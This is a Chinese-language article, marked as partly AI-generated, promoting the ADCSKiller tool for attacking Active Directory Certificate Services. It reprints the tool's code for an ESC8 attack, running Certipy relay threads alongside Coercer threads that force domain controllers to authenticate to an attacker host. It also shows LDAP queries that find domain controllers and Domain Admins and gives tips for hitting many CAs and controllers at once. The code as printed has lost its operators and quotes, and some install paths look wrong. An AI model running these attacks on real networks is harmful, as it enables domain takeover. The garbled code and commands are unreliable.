ADCSKiller高级用法:多线程并发攻击与LDAP查询优化技巧

发布时间:2026/7/14 8:07:21
ADCSKiller高级用法:多线程并发攻击与LDAP查询优化技巧 ADCSKiller高级用法多线程并发攻击与LDAP查询优化技巧【免费下载链接】ADCSKillerAn ADCS Exploitation Automation Tool Weaponizing Certipy and Coercer项目地址: https://gitcode.com/gh_mirrors/ad/ADCSKillerADCSKiller是一款强大的ADCS漏洞利用自动化工具它通过整合Certipy和Coercer的功能帮助安全测试人员高效发现和利用Active Directory证书服务漏洞。本文将深入探讨ADCSKiller的多线程并发攻击机制与LDAP查询优化技巧让你能够更快速、更精准地执行ADCS渗透测试。多线程并发攻击提升ADCS漏洞利用效率ADCSKiller采用了多线程架构设计能够同时执行多个攻击任务显著提升渗透测试效率。这一机制主要体现在两个核心线程类的实现上CertipyRelay和Coercer。CertipyRelay线程并行处理证书中继在ADCSKiller的实现中CertipyRelay类继承自threading.Thread专门负责处理证书中继功能。通过创建多个CertipyRelay线程可以同时向多个证书颁发机构发起中继攻击极大缩短了攻击时间。关键实现代码位于adcskiller.py的50-62行class CertipyRelay(threading.Thread): def __init__(self, threadID, name, ca): threading.Thread.__init__(self) self.threadID threadID self.name name self.target_ca ca def run(self): print(f[] Started Relaying to {self.target_ca}) relaying_results subprocess.Popen([certipy, relay, -ca, self.target_ca, -template, DomainController], stdoutsubprocess.PIPE, stderrsubprocess.STDOUT, universal_newlinesTrue) for line in relaying_results.stdout: print(line.strip())Coercer线程并发执行强制认证与CertipyRelay类似Coercer线程类负责并发执行强制认证攻击。通过同时对多个域控制器发起强制认证可以快速扩大攻击面提高成功概率。实现代码位于adcskiller.py的64-78行class Coercer(threading.Thread): def __init__(self, threadID, name, domain, username, password, target_dc, lhost): threading.Thread.__init__(self) self.threadID threadID self.name name self.domain domain self.username username self.password password self.target_dc target_dc self.lhost lhost def run(self): print(f[] Started coercion from {self.target_dc} to {self.lhost}) subprocess.run([Coercer, coerce, -u, self.username, -p, self.password, -d, self.domain, -t, self.target_dc, -l, self.lhost, --always-continue], capture_outputTrue, textTrue).stdout print(f[] Finished coercion from {self.target_dc} to {self.lhost})线程协同优化攻击流程ADCSKiller在exploit_esc8方法中巧妙地协同了CertipyRelay和Coercer线程实现了高效的攻击流程。首先启动证书中继线程等待5秒让其完成初始化然后再启动强制认证线程确保两个攻击步骤能够无缝衔接。certipy_thread CertipyRelay(1, CertipyRelayThread, self.__ca_dns) certipy_thread.start() print([*] Sleep for 5 seconds to wait for Certipy relay setup) time.sleep(5) coercer_thread Coercer(2, CoercerThread, self.__domain, self.__username, self.__password, self.__dc[0], self.__lhost) coercer_thread.start() coercer_thread.join() certipy_thread.join()LDAP查询优化加速域信息收集ADCSKiller通过优化LDAP查询策略显著提升了域信息收集的效率和准确性。这一优化主要体现在以下几个方面多协议尝试提高LDAP连接成功率ADCSKiller在bind_to_ldap方法中尝试了ldap和ldaps两种协议提高了在不同网络环境下的连接成功率。实现代码位于adcskiller.py的133-136行servers [ ldap3.Server(fldap://{self.__target}:389, get_infoldap3.ALL), ldap3.Server(fldaps://{self.__target}:636, get_infoldap3.ALL) ]高效搜索过滤器精准定位关键信息ADCSKiller使用了精准的LDAP搜索过滤器能够快速定位域管理员和域控制器等关键信息。例如在获取域控制器时使用了基于userAccountControl属性的高级过滤器self.__ldap_bind.search(search_base f{self.__domain_cn}, search_filter f((objectCategorycomputer)(userAccountControl:1.2.840.113556.1.4.803:8192)), attributes [distinguishedName])备用查询策略确保信息收集可靠性为了应对复杂的域环境ADCSKiller在get_domain_admins方法中实现了备用查询策略。当主查询失败时自动切换到备用查询方式确保能够尽可能收集到域管理员信息。# Fallback LDAP search query if not self.__domain_admins: try: print(f[*] Getting Domain Administrators of {self.__domain} using Common Name Domain Admins) response execute_ldap_search(f{self.__domain_cn}, f(memberOfcnDomain Admins,OUGroups,{self.__domain_cn}), [sAMAccountName]) # 处理查询结果... except Exception as e: # 错误处理...实战应用多线程与LDAP优化的协同策略在实际渗透测试中结合多线程并发攻击与LDAP查询优化可以显著提升ADCS漏洞利用的效率。以下是一些实用技巧批量攻击多个CA利用CertipyRelay线程的设计可以轻松扩展为同时攻击多个证书颁发机构。只需创建多个CertipyRelay实例分别指定不同的CA名称即可。针对大型网络的并发强制认证在大型网络环境中可以创建多个Coercer线程同时对多个域控制器发起强制认证快速定位易受攻击的目标。优化LDAP查询参数根据目标域的大小和结构可以调整LDAP查询的分页大小和超时设置进一步优化查询性能。虽然ADCSKiller当前版本未直接提供这些参数的配置接口但可以通过修改源代码中的ldap3.Connection参数来实现。安装与配置快速上手ADCSKiller要充分利用ADCSKiller的高级功能首先需要正确安装和配置工具。以下是详细的安装步骤# 安装Certipy git clone https://gitcode.com/gh_mirrors/ad/ADCSKiller/Certipy cd Certipy python3 setup.py install # 安装Coercer git clone https://gitcode.com/gh_mirrors/ad/ADCSKiller/Coercer cd Coercer pip install -r requirements.txt python3 setup.py install # 安装ADCSKiller git clone https://gitcode.com/gh_mirrors/ad/ADCSKiller cd ADCSKiller pip install -r requirements.txt总结提升ADCS渗透测试效率的关键技术ADCSKiller通过多线程并发攻击和LDAP查询优化为ADCS漏洞利用提供了显著的效率提升。这些技术不仅适用于ADCSKiller也可以作为其他安全工具开发的参考。随着ADCS安全研究的深入ADCSKiller将继续整合更多先进技术为安全测试人员提供更强大的武器。掌握这些高级用法将帮助你在复杂的ADCS环境中更快速、更精准地发现和利用漏洞从而提升整体渗透测试的效率和成功率。无论是面对小型企业网络还是大型企业环境ADCSKiller的多线程和LDAP优化技术都将成为你渗透测试工具箱中的重要资产。【免费下载链接】ADCSKillerAn ADCS Exploitation Automation Tool Weaponizing Certipy and Coercer项目地址: https://gitcode.com/gh_mirrors/ad/ADCSKiller创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考